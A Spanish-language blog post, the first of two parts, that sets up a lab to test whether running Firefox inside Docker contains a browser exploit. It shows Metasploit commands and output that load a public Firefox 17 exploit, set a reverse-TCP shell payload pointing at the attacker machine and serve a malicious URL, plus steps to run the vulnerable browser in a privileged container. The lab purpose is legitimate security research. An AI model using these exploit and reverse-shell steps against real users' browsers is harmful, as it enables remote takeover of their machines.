¿Es seguro ejecutar Firefox en Docker? (1/2)
Vuelvo a dar guerra. Llevo dos posts de retraso (lo de uno por semana no siempre sale), pero prefiero eso a escribir por escribir sobre algo que ya se ha contado mil veces.
Hoy os traigo una idea que me rondaba la cabeza desde hacía tiempo y nunca había tenido rato de probar: ejecutar Firefox en Docker. Y cuando digo Firefox, valdría cualquier aplicación de escritorio.
Buscando por internet encontré cómo hacerlo, pero me quedaba la duda de fondo: cómo de seguro es ejecutar Firefox, o cualquier app, sobre Docker.
Pues venga, vamos al lío.
¿Por qué ejecutar Firefox en Docker?
Tal como lo veo, hay dos motivos para querer meter una app de escritorio (Firefox, en este caso) dentro de un contenedor de Docker:
- Aislamiento de dependencias y portabilidad: una de las grandes ventajas de Docker.
- Seguridad: Docker mete la app en un contenedor y crea una capa que la aísla del sistema operativo.
Nosotros vamos a por el segundo. Por la propia filosofía de Docker, ¿por qué podría ser buena idea correr Firefox dentro de un contenedor?
Ya sabéis que todos los navegadores tienen vulnerabilidades. Por muy actualizados que los tengamos, los 0 day siguen ahí. Con esa premisa, tiene sentido ejecutar el navegador en un sandbox lo más aislado posible del sistema nativo. Dicho de otra forma: si nos revientan el Firefox, que no lleguen al sistema operativo. Algo parecido a lo que hace Sandboxie.
¿Cuál es nuestro objetivo?
Como podemos ejecutar Firefox en un sandbox con Docker, lo que quería era comprobar si eso es de verdad seguro.
Entorno usado
Software:
- Metasploit (el que viene con Kali 2.0).
- Firefox 17.0. Lo tenéis en: https://ftp.mozilla.org/pub/firefox/releases/17.0.1/
- Docker 1.11.1 para Ubuntu Linux.
Infraestructura:
- Kali Linux 2.0
- Ubuntu Linux 14, kernel 3.13.0-83-generic.
Usamos Firefox 17, una versión bastante vieja, porque la idea es ver hasta dónde llegaría un atacante que explotara un fallo del navegador. Esta versión tiene una vulnerabilidad conocida y un exploit público que ya viene incluido en Metasploit.
Procedimiento
Para comprobarlo he intentado hacer un análisis serio, con todos los pasos apuntados para que lo podáis reproducir vosotros mismos.
Los pasos son estos:
- Crear una URL vulnerable con el exploit para Firefox 17, usando Metasploit (la máquina Kali).
- Crear y ejecutar Firefox 17 con Docker en el Docker-host (la máquina Ubuntu).
- Visitar la URL vulnerable con ese Firefox 17 para explotar el fallo.
- Una vez explotado, intentar ejecutar comandos dentro del Docker.
- Intentar ejecutar comandos en el sistema base, es decir, fuera del contenedor.
Pasos a seguir
Creación de la URL vulnerable
Vamos con un poco de Metasploit. Primero actualizamos con msfupdate para tener los últimos exploits y luego lanzamos msfconsole:
# msfconsole
_ _
/ \ /\ __ _ __ /_/ __
| |\ / | _____ \ \ ___ _____ | | / \ _ \ \
| | \/| | | ___\ |- -| /\ / __\ | -__/ | || | || | |- -|
|_| | | | _|__ | |_ / -\ __\ \ | | | | \__/| | | |_
|/ |____/ \___\/ /\ \\___/ \/ \__| |_\ \___\
Validate lots of vulnerabilities to demonstrate exposure
with Metasploit Pro -- Learn more on http://rapid7.com/metasploit
=[ metasploit v4.11.5-2016010401 ]
+ -- --=[ 1517 exploits - 875 auxiliary - 257 post ]
+ -- --=[ 437 payloads - 37 encoders - 8 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
msf >
Ahora seleccionamos el exploit para Firefox exploit/multi/browser/firefox_tostring_console_injection:
msf> use exploit/multi/browser/firefox_tostring_console_injection
msf exploit(firefox_tostring_console_injection) > show info
Name: Firefox toString console.time Privileged Javascript Injection
Module: exploit/multi/browser/firefox_tostring_console_injection
Platform:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2013-05-14
Provided by:
moz_bug_r_a4
Cody Crews
joev <[email protected]>
Available targets:
Id Name
-- ----
0 Universal (Javascript XPCOM Shell)
1 Native Payload
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CONTENT no Content to display inside the HTML <body>.
Retries true no Allow the browser to retry the module
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload information:
Description:
This exploit gains remote code execution on Firefox 15-22 by abusing
two separate Javascript-related vulnerabilities to ultimately inject
malicious Javascript code into a context running with chrome://
privileges.
References:
http://cvedetails.com/cve/2013-1710/
Si os fijáis en la salida de show info, la descripción dice que el exploit sirve para Firefox 15-22. Por eso la versión elegida es la 17.
Ahora elegimos el payload que se ejecutará tras explotar el fallo. Queremos una shell, así que usamos firefox/shell_reverse_tcp:
msf exploit(firefox_tostring_console_injection) > set payload firefox/shell_reverse_tcp
msf exploit(firefox_tostring_console_injection) > show options
...
Payload options (firefox/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Universal (Javascript XPCOM Shell)
Con show options vemos que el payload necesita la IP donde queremos escuchar, es decir, adónde se conectarán las víctimas cuando caiga el navegador: la IP donde corre Metasploit.
msf exploit(firefox_tostring_console_injection) > set LHOST 10.211.55.61
Ya solo queda poner a Metasploit a escuchar:
msf exploit(firefox_tostring_console_injection) > run
[*] Exploit running as background job.
[*] Started reverse TCP handler on 10.211.55.61:4444
[*] Using URL: http://0.0.0.0:8080/7eeNxNzqd
[*] Local IP: http://10.211.55.61:8080/7eeNxNzqd
[*] Server started.
Y listo. Ahora solo tenemos que conseguir que la víctima, nuestro Firefox vulnerable, entre en la URL http://10.211.55.61:8080/7eeNxNzqd.
Creación del Docker con Firefox 17
Como os decía, hay gente que ya se ha currado esto. Por ejemplo: https://hub.docker.com/r/chrisdaish/firefox/~/dockerfile/
De ese repositorio nos interesan dos cosas:
- Cómo crear el Docker: el comando no es precisamente trivial, luego veremos por qué.
- Cómo modificarlo: hay que cambiar el contenedor original para que arranque la versión vulnerable de Firefox en lugar de la preinstalada.
Antes de nada tenemos que haber descargado y descomprimido Firefox 17 y dejarlo en un sitio al que el Docker-host tenga acceso. Para no andar tocando el comando cada vez, guardo la ruta en la variable de BASH FIREFOX.
Con eso claro, creamos el Docker a partir de la imagen del autor. En el docker-host (Ubuntu) lanzamos esto:
Importante: este comando no se puede ejecutar por SSH, porque usa GTK y demás librerías gráficas.
# export FIREFOX=/media/psf/Home/Downloads/firefox-17
# docker run -it -v $FIREFOX:/home/firefox/Downloads:rw -v /tmp/.X11-unix:/tmp/.X11-unix -v /dev/snd:/dev/snd --privileged -e uid=$(id -u) -e gid=$(id -g) -e DISPLAY=unix$DISPLAY --name firefox chrisdaish/firefox
Tras descargar unos 500 y pico megas, se nos abre Firefox.
Antes de seguir, veamos qué hace cada parámetro:
- -it: le decimos a Docker que lo ejecute en una sesión interactiva y con terminal.
- -v: montamos volúmenes del Docker-host dentro del contenedor.
- –privileged: ejecutamos el contenedor en modo privilegiado. Hace falta porque, si no, no tendríamos acceso a las funciones de renderizado gráfico, por ejemplo.
- -e: definimos variables de entorno dentro del contenedor.
- –name: el nombre que le damos al contenedor.
Y por qué montamos estos volúmenes:
/tmp/.X11-unix: sin él no hay acceso al X11 de Linux y no podemos usar el sistema de ventanas./dev/snd: sin él no hay sonido, y como queremos un Firefox completo (que reproduzca el audio de los vídeos, por ejemplo) lo necesitamos.
Nota: esto se puede hacer más elegante creando nuestro propio Dockerfile, pero como es una prueba de concepto, así me ha resultado más rápido.
En este punto ya tenemos un Firefox corriendo. El problema es que no es vulnerable, así que vamos a cambiar el Firefox que lanza el contenedor por el que hemos descargado. La idea es entrar en el docker y cambiar el punto de entrada.
Acceder al contenedor en ejecución
Sin parar el Docker (no cerréis el Firefox que se ha abierto), vamos a otra terminal y ejecutamos:
# docker exec -it firefox /bin/bash
Con esto entramos en el contenedor y ya podemos tocarlo. Vamos a:
- Crear en
/usr/binun enlace que apunte a nuestro Firefox vulnerable. - Editar el fichero
/tmp/start-firefox.sh, que es el que usa el autor del docker para indicar qué comando arrancar al iniciar el contenedor.
Lo hacemos así:
# docker exec -it firefox /bin/bash
root@3364ca6e69a1:/# ln -s /home/firefox/Downloads/firefox /usr/bin/firefox-17
root@3364ca6e69a1:/# cat /tmp/start-firefox.sh
#!/bin/bash
groupmod -g $gid firefox
usermod -u $uid -g $gid firefox
if [ -d /home/firefox/.mozilla ]; then
chown -R firefox:firefox /home/firefox/.mozilla
fi
#
# EDITAMOS ESTA LINEA Y CAMBIAMOS: /usr/bin/firefox --> /usr/bin/firefox-17
#
# exec su -ls "/bin/bash" -c "/usr/bin/firefox-17 -profile /home/firefox/.mozilla/firefox $ARGS $URL" firefox
exec su -ls "/bin/bash" -c "/usr/bin/firefox-17 -profile /home/firefox/.mozilla/firefox $ARGS $URL" firefox
Et voilà, ya está todo listo. ¿Cómo lo comprobamos? Fácil: cierra el Firefox que abrió Docker al instalarlo. Cuando se cierre, volvemos a arrancar el Docker, y esta vez saldrá con la versión vulnerable:
# docker start firefox
Y por fin, si abrimos el navegador y vamos a about:config, veremos que la versión que corre es la 17:

Conclusión y próxima entrega
Hasta aquí el post de hoy. Sí, os dejo a medias, pero se estaba haciendo muy largo y he decidido partirlo en dos.
Ya tenemos toda la base y el entorno preparado. La semana que viene cerramos con:
- La explotación del Firefox.
- La ejecución de comandos remotos con Metasploit dentro del Docker.
- Y la pregunta gorda: ¿podemos acceder al sistema anfitrión?
¡Chau!